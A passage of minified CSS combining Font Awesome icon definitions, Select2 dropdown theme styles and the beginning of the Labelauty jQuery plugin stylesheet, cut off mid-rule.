.fa-bitbucket:before { content: "\f171"; } .fa-bitbucket-square:before { content: "\f172"; } .fa-tumblr:before { content: "\f173"; } .fa-tumblr-square:before { content: "\f174"; } .fa-long-arrow-down:before { content: "\f175"; } .fa-long-arrow-up:before { content: "\f176"; } .fa-long-arrow-left:before { content: "\f177"; } .fa-long-arrow-right:before { content: "\f178"; } .fa-apple:before { content: "\f179"; } .fa-windows:before { content: "\f17a"; } .fa-android:before { content: "\f17b"; } .fa-linux:before { content: "\f17c"; } .fa-dribbble:before { content: "\f17d"; } .fa-skype:before { content: "\f17e"; } .fa-foursquare:before { content: "\f180"; } .fa-trello:before { content: "\f181"; } .fa-female:before { content: "\f182"; } .fa-male:before { content: "\f183"; } .fa-gittip:before, .fa-gratipay:before { content: "\f184"; } .fa-sun-o:before { content: "\f185"; } .fa-moon-o:before { content: "\f186"; } .fa-archive:before { content: "\f187"; } .fa-bug:before { content: "\f188"; } .fa-vk:before { content: "\f189"; } .fa-weibo:before { content: "\f18a"; } .fa-renren:before { content: "\f18b"; } .fa-pagelines:before { content: "\f18c"; } .fa-stack-exchange:before { content: "\f18d"; } .fa-arrow-circle-o-right:before { content: "\f18e"; } .fa-arrow-circle-o-left:before { content: "\f190"; } .fa-toggle-left:before, .fa-caret-square-o-left:before { content: "\f191"; } .fa-dot-circle-o:before { content: "\f192"; } .fa-wheelchair:before { content: "\f193"; } .fa-vimeo-square:before { content: "\f194"; } .fa-turkish-lira:before, .fa-try:before { content: "\f195"; } .fa-plus-square-o:before { content: "\f196"; } .fa-space-shuttle:before { content: "\f197"; } .fa-slack:before { content: "\f198"; } .fa-envelope-square:before { content: "\f199"; } .fa-wordpress:before { content: "\f19a"; } .fa-openid:before { content: "\f19b"; } .fa-institution:before, .fa-bank:before, .fa-university:before { content: "\f19c"; } .fa-mortar-board:before, .fa-graduation-cap:before { content: "\f19d"; } .fa-yahoo:before { content: "\f19e"; } .fa-google:before { content: "\f1a0"; } .fa-reddit:before { content: "\f1a1"; } .fa-reddit-square:before { content: "\f1a2"; } .fa-stumbleupon-circle:before { content: "\f1a3"; } .fa-stumbleupon:before { content: "\f1a4"; } .fa-delicious:before { content: "\f1a5"; } .fa-digg:before { content: "\f1a6"; } .fa-pied-piper-pp:before { content: "\f1a7"; } .fa-pied-piper-alt:before { content: "\f1a8"; } .fa-drupal:before { content: "\f1a9"; } .fa-joomla:before { content: "\f1aa"; } .fa-language:before { content: "\f1ab"; } .fa-fax:before { content: "\f1ac"; } .fa-building:before { content: "\f1ad"; } .fa-child:before { content: "\f1ae"; } .fa-paw:before { content: "\f1b0"; } .fa-spoon:before { content: "\f1b1"; } .fa-cube:before { content: "\f1b2"; } .fa-cubes:before { content: "\f1b3"; } .fa-behance:before { content: "\f1b4"; } .fa-behance-square:before { content: "\f1b5"; } .fa-steam:before { content: "\f1b6"; } .fa-steam-square:before { content: "\f1b7"; } .fa-recycle:before { content: "\f1b8"; } .fa-automobile:before, .fa-car:before { content: "\f1b9"; } .fa-cab:before, .fa-taxi:before { content: "\f1ba"; } .fa-tree:before { content: "\f1bb"; } .fa-spotify:before { content: "\f1bc"; } .fa-deviantart:before { content: "\f1bd"; } .fa-soundcloud:before { content: "\f1be"; } .fa-database:before { content: "\f1c0"; } .fa-file-pdf-o:before { content: "\f1c1"; } .fa-file-word-o:before { content: "\f1c2"; } .fa-file-excel-o:before { content: "\f1c3"; } .fa-file-powerpoint-o:before { content: "\f1c4"; } .fa-file-photo-o:before, .fa-file-picture-o:before, .fa-file-image-o:before { content: "\f1c5"; } .fa-file-zip-o:before, .fa-file-archive-o:before { content: "\f1c6"; } .fa-file-sound-o:before, .fa-file-audio-o:before { content: "\f1c7"; } .fa-file-movie-o:before, .fa-file-video-o:before { content: "\f1c8"; } .fa-file-code-o:before { content: "\f1c9"; } .fa-vine:before { content: "\f1ca"; } .fa-codepen:before { content: "\f1cb"; } .fa-jsfiddle:before { content: "\f1cc"; } .fa-life-bouy:before, .fa-life-buoy:before, .fa-life-saver:before, .fa-support:before, .fa-life-ring:before { content: "\f1cd"; } .fa-circle-o-notch:before { content: "\f1ce"; } .fa-ra:before, .fa-resistance:before, .fa-rebel:before { content: "\f1d0"; } .fa-ge:before, .fa-empire:before { content: "\f1d1"; } .fa-git-square:before { content: "\f1d2"; } .fa-git:before { content: "\f1d3"; } .fa-y-combinator-square:before, .fa-yc-square:before, .fa-hacker-news:before { content: "\f1d4"; } .fa-tencent-weibo:before { content: "\f1d5"; } .fa-qq:before { content: "\f1d6"; } .fa-wechat:before, .fa-weixin:before { content: "\f1d7"; } .fa-send:before, .fa-paper-plane:before { content: "\f1d8"; } .fa-send-o:before, .fa-paper-plane-o:before { content: "\f1d9"; } .fa-history:before { content: "\f1da"; } .fa-circle-thin:before { content: "\f1db"; } .fa-header:before { content: "\f1dc"; } .fa-paragraph:before { content: "\f1dd"; } .fa-sliders:before { content: "\f1de"; } .fa-share-alt:before { content: "\f1e0"; } .fa-share-alt-square:before { content: "\f1e1"; } .fa-bomb:before { content: "\f1e2"; } .fa-soccer-ball-o:before, .fa-futbol-o:before { content: "\f1e3"; } .fa-tty:before { content: "\f1e4"; } .fa-binoculars:before { content: "\f1e5"; } .fa-plug:before { content: "\f1e6"; } .fa-slideshare:before { content: "\f1e7"; } .fa-twitch:before { content: "\f1e8"; } .fa-yelp:before { content: "\f1e9"; } .fa-newspaper-o:before { content: "\f1ea"; } .fa-wifi:before { content: "\f1eb"; } .fa-calculator:before { content: "\f1ec"; } .fa-paypal:before { content: "\f1ed"; } .fa-google-wallet:before { content: "\f1ee"; } .fa-cc-visa:before { content: "\f1f0"; } .fa-cc-mastercard:before { content: "\f1f1"; } .fa-cc-discover:before { content: "\f1f2"; } .fa-cc-amex:before { content: "\f1f3"; } .fa-cc-paypal:before { content: "\f1f4"; } .fa-cc-stripe:before { content: "\f1f5"; } .fa-bell-slash:before { content: "\f1f6"; } .fa-bell-slash-o:before { content: "\f1f7"; } .fa-trash:before { content: "\f1f8"; } .fa-copyright:before { content: "\f1f9"; } .fa-at:before { content: "\f1fa"; } .fa-eyedropper:before { content: "\f1fb"; } .fa-paint-brush:before { content: "\f1fc"; } .fa-birthday-cake:before { content: "\f1fd"; } .fa-area-chart:before { content: "\f1fe"; } .fa-pie-chart:before { content: "\f200"; } .fa-line-chart:before { content: "\f201"; } .fa-lastfm:before { content: "\f202"; } .fa-lastfm-square:before { content: "\f203"; } .fa-toggle-off:before { content: "\f204"; } .fa-toggle-on:before { content: "\f205"; } .fa-bicycle:before { content: "\f206"; } .fa-bus:before { content: "\f207"; } .fa-ioxhost:before { content: "\f208"; } .fa-angellist:before { content: "\f209"; } .fa-cc:before { content: "\f20a"; } .fa-shekel:before, .fa-sheqel:before, .fa-ils:before { content: "\f20b"; } .fa-meanpath:before { content: "\f20c"; } .fa-buysellads:before { content: "\f20d"; } .fa-connectdevelop:before { content: "\f20e"; } .fa-dashcube:before { content: "\f210"; } .fa-forumbee:before { content: "\f211"; } .fa-leanpub:before { content: "\f212"; } .fa-sellsy:before { content: "\f213"; } .fa-shirtsinbulk:before { content: "\f214"; } .fa-simplybuilt:before { content: "\f215"; } .fa-skyatlas:before { content: "\f216"; } .fa-cart-plus:before { content: "\f217"; } .fa-cart-arrow-down:before { content: "\f218"; } .fa-diamond:before { content: "\f219"; } .fa-ship:before { content: "\f21a"; } .fa-user-secret:before { content: "\f21b"; } .fa-motorcycle:before { content: "\f21c"; } .fa-street-view:before { content: "\f21d"; } .fa-heartbeat:before { content: "\f21e"; } .fa-venus:before { content: "\f221"; } .fa-mars:before { content: "\f222"; } .fa-mercury:before { content: "\f223"; } .fa-intersex:before, .fa-transgender:before { content: "\f224"; } .fa-transgender-alt:before { content: "\f225"; } .fa-venus-double:before { content: "\f226"; } .fa-mars-double:before { content: "\f227"; } .fa-venus-mars:before { content: "\f228"; } .fa-mars-stroke:before { content: "\f229"; } .fa-mars-stroke-v:before { content: "\f22a"; } .fa-mars-stroke-h:before { content: "\f22b"; } .fa-neuter:before { content: "\f22c"; } .fa-genderless:before { content: "\f22d"; } .fa-facebook-official:before { content: "\f230"; } .fa-pinterest-p:before { content: "\f231"; } .fa-whatsapp:before { content: "\f232"; } .fa-server:before { content: "\f233"; } .fa-user-plus:before { content: "\f234"; } .fa-user-times:before { content: "\f235"; } .fa-hotel:before, .fa-bed:before { content: "\f236"; } .fa-viacoin:before { content: "\f237"; } .fa-train:before { content: "\f238"; } .fa-subway:before { content: "\f239"; } .fa-medium:before { content: "\f23a"; } .fa-yc:before, .fa-y-combinator:before { content: "\f23b"; } .fa-optin-monster:before { content: "\f23c"; } .fa-opencart:before { content: "\f23d"; } .fa-expeditedssl:before { content: "\f23e"; } .fa-battery-4:before, .fa-battery:before, .fa-battery-full:before { content: "\f240"; } .fa-battery-3:before, .fa-battery-three-quarters:before { content: "\f241"; } .fa-battery-2:before, .fa-battery-half:before { content: "\f242"; } .fa-battery-1:before, .fa-battery-quarter:before { content: "\f243"; } .fa-battery-0:before, .fa-battery-empty:before { content: "\f244"; } .fa-mouse-pointer:before { content: "\f245"; } .fa-i-cursor:before { content: "\f246"; } .fa-object-group:before { content: "\f247"; } .fa-object-ungroup:before { content: "\f248"; } .fa-sticky-note:before { content: "\f249"; } .fa-sticky-note-o:before { content: "\f24a"; } .fa-cc-jcb:before { content: "\f24b"; } .fa-cc-diners-club:before { content: "\f24c"; } .fa-clone:before { content: "\f24d"; } .fa-balance-scale:before { content: "\f24e"; } .fa-hourglass-o:before { content: "\f250"; } .fa-hourglass-1:before, .fa-hourglass-start:before { content: "\f251"; } .fa-hourglass-2:before, .fa-hourglass-half:before { content: "\f252"; } .fa-hourglass-3:before, .fa-hourglass-end:before { content: "\f253"; } .fa-hourglass:before { content: "\f254"; } .fa-hand-grab-o:before, .fa-hand-rock-o:before { content: "\f255"; } .fa-hand-stop-o:before, .fa-hand-paper-o:before { content: "\f256"; } .fa-hand-scissors-o:before { content: "\f257"; } .fa-hand-lizard-o:before { content: "\f258"; } .fa-hand-spock-o:before { content: "\f259"; } .fa-hand-pointer-o:before { content: "\f25a"; } .fa-hand-peace-o:before { content: "\f25b"; } .fa-trademark:before { content: "\f25c"; } .fa-registered:before { content: "\f25d"; } .fa-creative-commons:before { content: "\f25e"; } .fa-gg:before { content: "\f260"; } .fa-gg-circle:before { content: "\f261"; } .fa-tripadvisor:before { content: "\f262"; } .fa-odnoklassniki:before { content: "\f263"; } .fa-odnoklassniki-square:before { content: "\f264"; } .fa-get-pocket:before { content: "\f265"; } .fa-wikipedia-w:before { content: "\f266"; } .fa-safari:before { content: "\f267"; } .fa-chrome:before { content: "\f268"; } .fa-firefox:before { content: "\f269"; } .fa-opera:before { content: "\f26a"; } .fa-internet-explorer:before { content: "\f26b"; } .fa-tv:before, .fa-television:before { content: "\f26c"; } .fa-contao:before { content: "\f26d"; } .fa-500px:before { content: "\f26e"; } .fa-amazon:before { content: "\f270"; } .fa-calendar-plus-o:before { content: "\f271"; } .fa-calendar-minus-o:before { content: "\f272"; } .fa-calendar-times-o:before { content: "\f273"; } .fa-calendar-check-o:before { content: "\f274"; } .fa-industry:before { content: "\f275"; } .fa-map-pin:before { content: "\f276"; } .fa-map-signs:before { content: "\f277"; } .fa-map-o:before { content: "\f278"; } .fa-map:before { content: "\f279"; } .fa-commenting:before { content: "\f27a"; } .fa-commenting-o:before { content: "\f27b"; } .fa-houzz:before { content: "\f27c"; } .fa-vimeo:before { content: "\f27d"; } .fa-black-tie:before { content: "\f27e"; } .fa-fonticons:before { content: "\f280"; } .fa-reddit-alien:before { content: "\f281"; } .fa-edge:before { content: "\f282"; } .fa-credit-card-alt:before { content: "\f283"; } .fa-codiepie:before { content: "\f284"; } .fa-modx:before { content: "\f285"; } .fa-fort-awesome:before { content: "\f286"; } .fa-usb:before { content: "\f287"; } .fa-product-hunt:before { content: "\f288"; } .fa-mixcloud:before { content: "\f289"; } .fa-scribd:before { content: "\f28a"; } .fa-pause-circle:before { content: "\f28b"; } .fa-pause-circle-o:before { content: "\f28c"; } .fa-stop-circle:before { content: "\f28d"; } .fa-stop-circle-o:before { content: "\f28e"; } .fa-shopping-bag:before { content: "\f290"; } .fa-shopping-basket:before { content: "\f291"; } .fa-hashtag:before { content: "\f292"; } .fa-bluetooth:before { content: "\f293"; } .fa-bluetooth-b:before { content: "\f294"; } .fa-percent:before { content: "\f295"; } .fa-gitlab:before { content: "\f296"; } .fa-wpbeginner:before { content: "\f297"; } .fa-wpforms:before { content: "\f298"; } .fa-envira:before { content: "\f299"; } .fa-universal-access:before { content: "\f29a"; } .fa-wheelchair-alt:before { content: "\f29b"; } .fa-question-circle-o:before { content: "\f29c"; } .fa-blind:before { content: "\f29d"; } .fa-audio-description:before { content: "\f29e"; } .fa-volume-control-phone:before { content: "\f2a0"; } .fa-braille:before { content: "\f2a1"; } .fa-assistive-listening-systems:before { content: "\f2a2"; } .fa-asl-interpreting:before, .fa-american-sign-language-interpreting:before { content: "\f2a3"; } .fa-deafness:before, .fa-hard-of-hearing:before, .fa-deaf:before { content: "\f2a4"; } .fa-glide:before { content: "\f2a5"; } .fa-glide-g:before { content: "\f2a6"; } .fa-signing:before, .fa-sign-language:before { content: "\f2a7"; } .fa-low-vision:before { content: "\f2a8"; } .fa-viadeo:before { content: "\f2a9"; } .fa-viadeo-square:before { content: "\f2aa"; } .fa-snapchat:before { content: "\f2ab"; } .fa-snapchat-ghost:before { content: "\f2ac"; } .fa-snapchat-square:before { content: "\f2ad"; } .fa-pied-piper:before { content: "\f2ae"; } .fa-first-order:before { content: "\f2b0"; } .fa-yoast:before { content: "\f2b1"; } .fa-themeisle:before { content: "\f2b2"; } .fa-google-plus-circle:before, .fa-google-plus-official:before { content: "\f2b3"; } .fa-fa:before, .fa-font-awesome:before { content: "\f2b4"; } .fa-handshake-o:before { content: "\f2b5"; } .fa-envelope-open:before { content: "\f2b6"; } .fa-envelope-open-o:before { content: "\f2b7"; } .fa-linode:before { content: "\f2b8"; } .fa-address-book:before { content: "\f2b9"; } .fa-address-book-o:before { content: "\f2ba"; } .fa-vcard:before, .fa-address-card:before { content: "\f2bb"; } .fa-vcard-o:before, .fa-address-card-o:before { content: "\f2bc"; } .fa-user-circle:before { content: "\f2bd"; } .fa-user-circle-o:before { content: "\f2be"; } .fa-user-o:before { content: "\f2c0"; } .fa-id-badge:before { content: "\f2c1"; } .fa-drivers-license:before, .fa-id-card:before { content: "\f2c2"; } .fa-drivers-license-o:before, .fa-id-card-o:before { content: "\f2c3"; } .fa-quora:before { content: "\f2c4"; } .fa-free-code-camp:before { content: "\f2c5"; } .fa-telegram:before { content: "\f2c6"; } .fa-thermometer-4:before, .fa-thermometer:before, .fa-thermometer-full:before { content: "\f2c7"; } .fa-thermometer-3:before, .fa-thermometer-three-quarters:before { content: "\f2c8"; } .fa-thermometer-2:before, .fa-thermometer-half:before { content: "\f2c9"; } .fa-thermometer-1:before, .fa-thermometer-quarter:before { content: "\f2ca"; } .fa-thermometer-0:before, .fa-thermometer-empty:before { content: "\f2cb"; } .fa-shower:before { content: "\f2cc"; } .fa-bathtub:before, .fa-s15:before, .fa-bath:before { content: "\f2cd"; } .fa-podcast:before { content: "\f2ce"; } .fa-window-maximize:before { content: "\f2d0"; } .fa-window-minimize:before { content: "\f2d1"; } .fa-window-restore:before { content: "\f2d2"; } .fa-times-rectangle:before, .fa-window-close:before { content: "\f2d3"; } .fa-times-rectangle-o:before, .fa-window-close-o:before { content: "\f2d4"; } .fa-bandcamp:before { content: "\f2d5"; } .fa-grav:before { content: "\f2d6"; } .fa-etsy:before { content: "\f2d7"; } .fa-imdb:before { content: "\f2d8"; } .fa-ravelry:before { content: "\f2d9"; } .fa-eercast:before { content: "\f2da"; } .fa-microchip:before { content: "\f2db"; } .fa-snowflake-o:before { content: "\f2dc"; } .fa-superpowers:before { content: "\f2dd"; } .fa-wpexplorer:before { content: "\f2de"; } .fa-meetup:before { content: "\f2e0"; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } .select2-container { box-sizing: border-box; display: inline-block; margin: 0; position: relative; vertical-align: middle; } .select2-container .select2-selection--single { box-sizing: border-box; cursor: pointer; display: block; height: 28px; user-select: none; -webkit-user-select: none; } .select2-container .select2-selection--single .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .select2-container .select2-selection--single .select2-selection__clear { position: relative; } .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } .select2-container .select2-selection--multiple { box-sizing: border-box; cursor: pointer; display: block; min-height: 32px; user-select: none; -webkit-user-select: none; } .select2-container .select2-selection--multiple .select2-selection__rendered { display: inline-block; overflow: hidden; padding-left: 8px; text-overflow: ellipsis; white-space: nowrap; } .select2-container .select2-search--inline { float: left; } .select2-container .select2-search--inline .select2-search__field { box-sizing: border-box; border: none; font-size: 100%; margin-top: 5px; padding: 0; } .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button { -webkit-appearance: none; } .select2-dropdown { background-color: white; border: 1px solid #aaa; border-radius: 4px; box-sizing: border-box; display: block; position: absolute; left: -100000px; width: 100%; z-index: 1051; } .select2-results { display: block; } .select2-results__options { list-style: none; margin: 0; padding: 0; } .select2-results__option { padding: 6px; user-select: none; -webkit-user-select: none; } .select2-results__option[aria-selected] { cursor: pointer; } .select2-container--open .select2-dropdown { left: 0; } .select2-container--open .select2-dropdown--above { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--open .select2-dropdown--below { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-search--dropdown { display: block; padding: 4px; } .select2-search--dropdown .select2-search__field { padding: 4px; width: 100%; box-sizing: border-box; } .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button { -webkit-appearance: none; } .select2-search--dropdown.select2-search--hide { display: none; } .select2-close-mask { border: 0; margin: 0; padding: 0; display: block; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 99; background-color: #fff; filter: alpha(opacity=0); } .select2-hidden-accessible { border: 0 !important; clip: rect(0 0 0 0) !important; height: 1px !important; margin: -1px !important; overflow: hidden !important; padding: 0 !important; position: absolute !important; width: 1px !important; } .select2-container--default .select2-selection--single { background-color: #fff; border: 1px solid #aaa; border-radius: 4px; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #444; line-height: 28px; } .select2-container--default .select2-selection--single .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; } .select2-container--default .select2-selection--single .select2-selection__placeholder { color: #999; } .select2-container--default .select2-selection--single .select2-selection__arrow { height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; } .select2-container--default .select2-selection--single .select2-selection__arrow b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } .select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear { float: left; } .select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow { left: 1px; right: auto; } .select2-container--default.select2-container--disabled .select2-selection--single { background-color: #eee; cursor: default; } .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear { display: none; } .select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } .select2-container--default .select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; } .select2-container--default .select2-selection--multiple .select2-selection__rendered { box-sizing: border-box; list-style: none; margin: 0; padding: 0 5px; width: 100%; } .select2-container--default .select2-selection--multiple .select2-selection__rendered li { list-style: none; } .select2-container--default .select2-selection--multiple .select2-selection__placeholder { color: #999; margin-top: 5px; float: left; } .select2-container--default .select2-selection--multiple .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-top: 5px; margin-right: 10px; } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: #999; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: #333; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline { float: right; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid black 1px; outline: 0; } .select2-container--default.select2-container--disabled .select2-selection--multiple { background-color: #eee; cursor: default; } .select2-container--default.select2-container--disabled .select2-selection__choice__remove { display: none; } .select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple { border-top-left-radius: 0; border-top-right-radius: 0; } .select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--default .select2-search--dropdown .select2-search__field { border: 1px solid #aaa; } .select2-container--default .select2-search--inline .select2-search__field { background: transparent; border: none; outline: 0; box-shadow: none; -webkit-appearance: textfield; } .select2-container--default .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--default .select2-results__option[role=group] { padding: 0; } .select2-container--default .select2-results__option[aria-disabled=true] { color: #999; } .select2-container--default .select2-results__option[aria-selected=true] { background-color: #ddd; } .select2-container--default .select2-results__option .select2-results__option { padding-left: 1em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__group { padding-left: 0; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option { margin-left: -1em; padding-left: 2em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -2em; padding-left: 3em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -3em; padding-left: 4em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -4em; padding-left: 5em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -5em; padding-left: 6em; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: #5897fb; color: white; } .select2-container--default .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #aaa; border-radius: 4px; outline: 0; background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%); background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%); background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic .select2-selection--single:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: 28px; } .select2-container--classic .select2-selection--single .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-right: 10px; } .select2-container--classic .select2-selection--single .select2-selection__placeholder { color: #999; } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #ddd; border: none; border-left: 1px solid #aaa; border-top-right-radius: 4px; border-bottom-right-radius: 4px; height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); } .select2-container--classic .select2-selection--single .select2-selection__arrow b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear { float: left; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border: none; border-right: 1px solid #aaa; border-radius: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; left: 1px; right: auto; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow { background: transparent; border: none; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--single { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%); background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%); background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--single { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); } .select2-container--classic .select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; outline: 0; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--multiple .select2-selection__rendered { list-style: none; margin: 0; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__clear { display: none; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove { color: #888; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover { color: #555; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { float: right; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #aaa; outline: 0; } .select2-container--classic .select2-search--inline .select2-search__field { outline: 0; box-shadow: none; } .select2-container--classic .select2-dropdown { background-color: white; border: 1px solid transparent; } .select2-container--classic .select2-dropdown--above { border-bottom: none; } .select2-container--classic .select2-dropdown--below { border-top: none; } .select2-container--classic .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--classic .select2-results__option[role=group] { padding: 0; } .select2-container--classic .select2-results__option[aria-disabled=true] { color: grey; } .select2-container--classic .select2-results__option--highlighted[aria-selected] { background-color: #3875d7; color: white; } .select2-container--classic .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #5897fb; } /*! * LABELAUTY jQuery Plugin Styles * * @file: jquery-labelauty.css * @author: Francisco Neves (@fntneves) * @site: www.francisconeves.com * @license: MIT License */ /* Prevent text and blocks selection */ input.labelauty + label ::selection { background-color: rgba(255, 255, 255, 0); } input.labelauty + label ::-moz-selection { background-color: rgba(255, 255, 255, 0); } /* Hide original checkboxes. They are ugly! */ input.labelauty { display: none !important; } /* * Let's style the input * Feel free to work with it as you wish! */ input.labelauty + label { display: table; font-size: 11px; padding: 10px; background-color: #efefef; color: #b3b3b3; cursor: pointer; border-radius: 3px 3px 3px 3px; -moz-border-radius: 3px 3px 3px 3px; -webkit-border-radius: 3px 3px 3px 3px; transition: background-color 0.25s; -moz-transition: background-color 0.25s; -webkit-transition: background-color 0.25s; -o-transition: background-color 0.25s; -moz-user-select: none; -khtml-user-select: none; -webkit-user-select: none; -o-user-select: none; } /* Stylish text inside label */ input.labelauty + label > span.labelauty-unchecked, input.labelauty + label > span.labelauty-checked { display: inline-block; line-height: 16px; vertical-align: bottom; } /* Stylish icons inside label */ input.labelauty + label > span.labelauty-unchecked-image, input.labelauty + label > span.labelauty-checked-image { display: inline-block; width: 16px; height: 16px; vertical-align: bottom; background-repeat: no-repeat; background-position: left center; transition: background-image 0.5s linear; -moz-transition: background-image 0.5s linear; -webkit-transition: background-image 0.5s linear; -o-transition: background-image 0.5s linear; } /* When there's a label, add a little margin to the left */ input.labelauty + label > span.labelauty-unchecked-image + 